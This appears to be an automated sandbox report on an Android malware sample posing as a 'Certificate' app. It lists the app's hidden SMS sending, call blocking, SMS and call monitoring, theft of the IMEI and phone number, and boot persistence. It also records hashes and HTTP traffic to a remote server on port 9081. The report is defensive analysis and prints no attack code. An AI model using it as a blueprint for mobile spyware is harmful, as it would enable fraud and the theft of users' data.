General Information |
---|
Analysis ID: | 1555 |
Start time: | 15:37:45 |
Start date: | 23/08/2013 |
Overall analysis duration: | 0h 3m 19s |
Report type: | full |
Sample file name: | f05839eb7156b434a893bbeddb68ad85.apk |
Cookbook file name: | blogpost.jbs |
Analysis system description: | Android 4.0 EEE PC |
Signature Overview |
---|
Spam, unwanted Advertisements and Ransom Demands: |
---|
May perform phone calls in the background | Show sources | ||
May send SMS in background | Show sources | ||
May block phone calls / Accesses private ITelephony interface | Show sources | ||
Sends SMS using SmsManager | Show sources |
Networking: |
---|
Urls found in memory or binary data | Show sources | ||
Posts data to webserver | Show sources | ||
Uses network protocols on non-standard ports | Show sources |
Boot Survival: |
---|
Executes code after phone reboot | Show sources |
Stealing of Sensitive Information: |
---|
Monitors incoming Phone calls | Show sources | ||
Monitors incoming SMS | Show sources |
Data Obfuscation: |
---|
Obfuscates method names | Show sources | ||
Uses reflection | Show sources |
System Summary: |
---|
Executes native commands | Show sources | ||
Requests permissions only permitted to signed APKs or APKs which are within the system image | Show sources | ||
Requests potentially dangerous permissions | Show sources |
Virtual Machine Detection: |
---|
Accesses android OS build fields | Show sources | ||
Queries logcat | Show sources |
Hooking and other Techniques for Stealthness and Protection: |
---|
Uses network protocols on non-standard ports | Show sources |
Language, Device and Operating System Detection: |
---|
Checks if phone is rooted (checks for Superuser.apk) | Show sources | ||
Checks if phone is rooted (checks for test-keys build tags) | Show sources | ||
Queries the network operator name | Show sources | ||
Queries the unqiue device ID (IMEI, MEID or ESN) | Show sources |
Screenshot |
---|
Contacted Domains |
---|
No contacted domains info |
---|
Contacted IPs |
---|
No contacted IP infos |
---|
Static File Info |
---|
File type: | Zip archive data, at least v2.0 to extract |
File name: | f05839eb7156b434a893bbeddb68ad85.apk |
File size: | 39207 |
MD5: | f05839eb7156b434a893bbeddb68ad85 |
SHA1: | 9416551d3965d3918eef3788b0377963d7b77032 |
SHA256: | 8e1cd55c40d34d33de8f91cf3483afc5e42fb4847b212041ad3bd8d7b5656d11 |
SHA512: | c7624899cb75c69b2c4373378349b3ced5544264c2d71f374f77f6a3483db84ce5f88082391865a18c8c949f35c161d26a99c943df587f2ff375c39707766699 |
Static APK Info |
---|
General | |
---|---|
Label: | Certificate |
Minium SDK required: | 1 |
Target SDK required: | 15 |
Version Code: | 11 |
Version Name: | 11 |
Package Name: | com.security.cert |
Is Activity: | true |
Is Receiver: | true |
Is Service: | true |
Requests System Level Permissions: | false |
Play Store Compatible: | true |
Activities |
---|
Name | Is Entrypoint |
---|---|
com.security.cert.ui.MainActivity | true |
com.security.cert.ui.UssdActivity | |
com.security.cert.ui.MessageDialogActivity |
Receivers |
---|
|
|
|
|
|
|
|
|
|
|
|
|
Services |
---|
|
|
Permission Requested |
---|
|
|
|
|
|
|
|
|
|
Certifcate |
---|
Name: | classes.dex |
Issuer: | CN=A,OU=B,O=C,L=D,ST=E,C=US |
Subject: | CN=A,OU=B,O=C,L=D,ST=E,C=US |
Resources |
---|
Name | Type |
---|---|
META-INF/CERT.SF | ASCII text, with CRLF line terminators |
META-INF/CERT.RSA | data |
AndroidManifest.xml | DBase 3 data file (6952 records) |
classes.dex | Dalvik dex file version 035 |
res/drawable-xhdpi/ic_launcher.png | PNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced |
res/layout/enter_user_id_dialog.xml | DBase 3 data file (992 records) |
META-INF/MANIFEST.MF | ASCII text, with CRLF line terminators |
resources.arsc | data |
res/layout/main.xml | DBase 3 data file (760 records) |
res/drawable-hdpi/ic_launcher.png | PNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced |
res/drawable-xxhdpi/ic_launcher.png | PNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced |
res/drawable-mdpi/ic_launcher.png | PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced |
Network Behavior |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Aug 23, 2013 15:38:25.667851925 CEST | 12972 | 53 | 192.168.2.5 | 8.8.8.8 |
Aug 23, 2013 15:38:26.190834999 CEST | 53 | 12972 | 8.8.8.8 | 192.168.2.5 |
Aug 23, 2013 15:38:26.191611052 CEST | 55614 | 123 | 192.168.2.5 | 169.229.70.95 |
Aug 23, 2013 15:38:40.134691954 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.134733915 CEST | 9081 | 51928 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:40.134840965 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.135637999 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.135658979 CEST | 9081 | 51928 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:40.135761023 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.135770082 CEST | 9081 | 51928 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:40.770235062 CEST | 53961 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.770289898 CEST | 9081 | 53961 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:40.770400047 CEST | 53961 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.771011114 CEST | 53961 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:40.771033049 CEST | 9081 | 53961 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:41.544111967 CEST | 9081 | 51928 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:41.544503927 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:41.544553995 CEST | 9081 | 51928 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:42.060036898 CEST | 9081 | 53961 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:38:42.060348988 CEST | 53961 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:38:42.060373068 CEST | 9081 | 53961 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:39:40.715460062 CEST | 38287 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:39:40.715514898 CEST | 9081 | 38287 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:39:40.715632915 CEST | 38287 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:39:40.716097116 CEST | 38287 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:39:40.716111898 CEST | 9081 | 38287 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:39:42.274199009 CEST | 9081 | 38287 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:39:42.274513006 CEST | 38287 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:39:42.274550915 CEST | 9081 | 38287 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:40.718832016 CEST | 49006 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.718874931 CEST | 9081 | 49006 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:40.718969107 CEST | 49006 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.719383001 CEST | 49006 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.719397068 CEST | 9081 | 49006 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:40.742997885 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.743043900 CEST | 9081 | 54488 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:40.743143082 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.743542910 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.743557930 CEST | 9081 | 54488 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:40.743652105 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:40.743660927 CEST | 9081 | 54488 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:41.307467937 CEST | 9081 | 49006 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:41.307651043 CEST | 49006 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:41.307672024 CEST | 9081 | 49006 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:41.526642084 CEST | 9081 | 54488 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:41.526823997 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 |
Aug 23, 2013 15:40:41.526844978 CEST | 9081 | 54488 | 198.211.118.115 | 192.168.2.5 |
Aug 23, 2013 15:40:52.534682989 CEST | 39848 | 123 | 192.168.2.5 | 169.229.70.95 |
UDP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Aug 23, 2013 15:38:25.667851925 CEST | 12972 | 53 | 192.168.2.5 | 8.8.8.8 |
Aug 23, 2013 15:38:26.190834999 CEST | 53 | 12972 | 8.8.8.8 | 192.168.2.5 |
Aug 23, 2013 15:38:26.191611052 CEST | 55614 | 123 | 192.168.2.5 | 169.229.70.95 |
Aug 23, 2013 15:40:52.534682989 CEST | 39848 | 123 | 192.168.2.5 | 169.229.70.95 |
HTTP Request Dependency Graph |
---|
|
HTTP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP | Header | Total Bytes Transfered (KB) |
---|---|---|---|---|---|---|
Aug 23, 2013 15:38:40.135637999 CEST | 51928 | 9081 | 192.168.2.5 | 198.211.118.115 | 0 | |
Aug 23, 2013 15:38:40.771011114 CEST | 53961 | 9081 | 192.168.2.5 | 198.211.118.115 | 1 | |
Aug 23, 2013 15:39:40.716097116 CEST | 38287 | 9081 | 192.168.2.5 | 198.211.118.115 | 2 | |
Aug 23, 2013 15:40:40.719383001 CEST | 49006 | 9081 | 192.168.2.5 | 198.211.118.115 | 3 | |
Aug 23, 2013 15:40:40.743542910 CEST | 54488 | 9081 | 192.168.2.5 | 198.211.118.115 | 4 |
APK Behavior |
---|
Installation Messages |
---|
Name | Is Error |
---|---|
Running dexopt on: com.security.cert; New package installed in /data/app/com.security.cert-1.apk; Not granting permission android.permission.CALL_PRIVILEGED to package com.security.cert (protectionLevel=3 flags=0x8be44); Not granting permission android.permission.MODIFY_PHONE_STATE to package com.security.cert (protectionLevel=3 flags=0x8be44); generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged- | false |
Started Services |
---|
Simulated Events |
---|
Type | Data |
---|---|
boot completed |
|
incoming sms |
|
outgoing sms |
|
location change |
|
incoming call |
|
outgoing call |
|
incoming sms |
|
API: android.telephony.TelephonyManager->getDeviceId | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.TelephonyManager->getLine1Number | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.gsm.SmsManager->sendTextMessage | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
param2 | java.util.ArrayList |
|
param3 | java.util.ArrayList |
|
param4 | null |
|
API: android.telephony.gsm.SmsManager->sendTextMessage | Show source |
---|
Name | Type | Value |
---|---|---|
destinationAddress | java.lang.String |
|
scAddress | null |
|
text | java.lang.String |
|
sentIntent | null |
|
deliveryIntent | null |
|
API: java.lang.Runtime->exec | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | [Ljava.lang.String; |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.ProcessManager$ProcessImpl |
|
API: android.content.pm.PackageManager->setComponentEnabledSetting | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: android.content.Intent->putExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: android.content.Intent->putExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | com.security.cert.b.b.a.d |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: android.content.Intent->putExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: android.content.Intent->putExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | com.security.cert.b.b.a.d |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: android.telephony.gsm.SmsManager->sendTextMessage | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
param2 | java.util.ArrayList |
|
param3 | java.util.ArrayList |
|
param4 | null |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: org.json.JSONObject->has | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: org.json.JSONObject->has | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: org.json.JSONObject->has | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: org.json.JSONObject->has | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: org.json.JSONObject->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.gsm.SmsManager->sendTextMessage | Show source |
---|
Name | Type | Value |
---|---|---|
destinationAddress | java.lang.String |
|
scAddress | null |
|
text | java.lang.String |
|
sentIntent | null |
|
deliveryIntent | null |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getDeviceId | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.provider.Settings.Secure->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.app.ContextImpl$ApplicationContentResolver |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getDeviceId | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getNetworkOperatorName | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.io.File-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.io.File |
|
API: java.io.File->exists | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getDeviceId | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getNetworkOperatorName | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.Runtime->exec | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | [Ljava.lang.String; |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.ProcessManager$ProcessImpl |
|
API: java.io.BufferedReader->readLine | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.io.BufferedReader->readLine | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.io.BufferedReader->readLine | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getStringExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.os.Bundle->getString | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->getSystemService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: java.lang.Class->getDeclaredMethod | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | [Ljava.lang.Class; |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.reflect.Method |
|
API: android.telephony.TelephonyManager->getITelephony | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | com.android.internal.telephony.ITelephony$Stub$Proxy |
|
API: java.lang.reflect.Method->invoke | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.telephony.TelephonyManager |
|
param1 | [Ljava.lang.Object; |
|
Name | Type | Value |
---|---|---|
Return Value | com.android.internal.telephony.ITelephony$Stub$Proxy |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.telephony.SmsManager->createFromPdu | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
API: android.telephony.SmsManager->getDisplayOriginatingAddress | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.SmsManager->createFromPdu | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
API: android.telephony.SmsManager->getMessageBody | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.BroadcastReceiver->abortBroadcast | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.IllegalStateException |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.telephony.SmsManager->createFromPdu | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
API: android.telephony.SmsManager->getDisplayOriginatingAddress | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.SmsManager->createFromPdu | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
API: android.telephony.SmsManager->getMessageBody | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.BroadcastReceiver->abortBroadcast | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.IllegalStateException |
|
API: org.json.JSONObject.org.json->JSONObject | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.content.Intent->getStringExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getAction | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->getExtras | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
API: android.content.Intent->getStringExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: com.security.cert.ui.MainActivity->startService | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.content.Context->getString | Show source |
---|
Name | Type | Value |
---|---|---|
resId | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.content.Intent->putExtra | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: com.security.cert.ui.MainActivity->startActivity | Show source |
---|
Name | Type | Value |
---|---|---|
intent | android.content.Intent |
|
API: android.app.AlertDialog$Builder-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | com.security.cert.ui.MessageDialogActivity |
|
Name | Type | Value |
---|---|---|
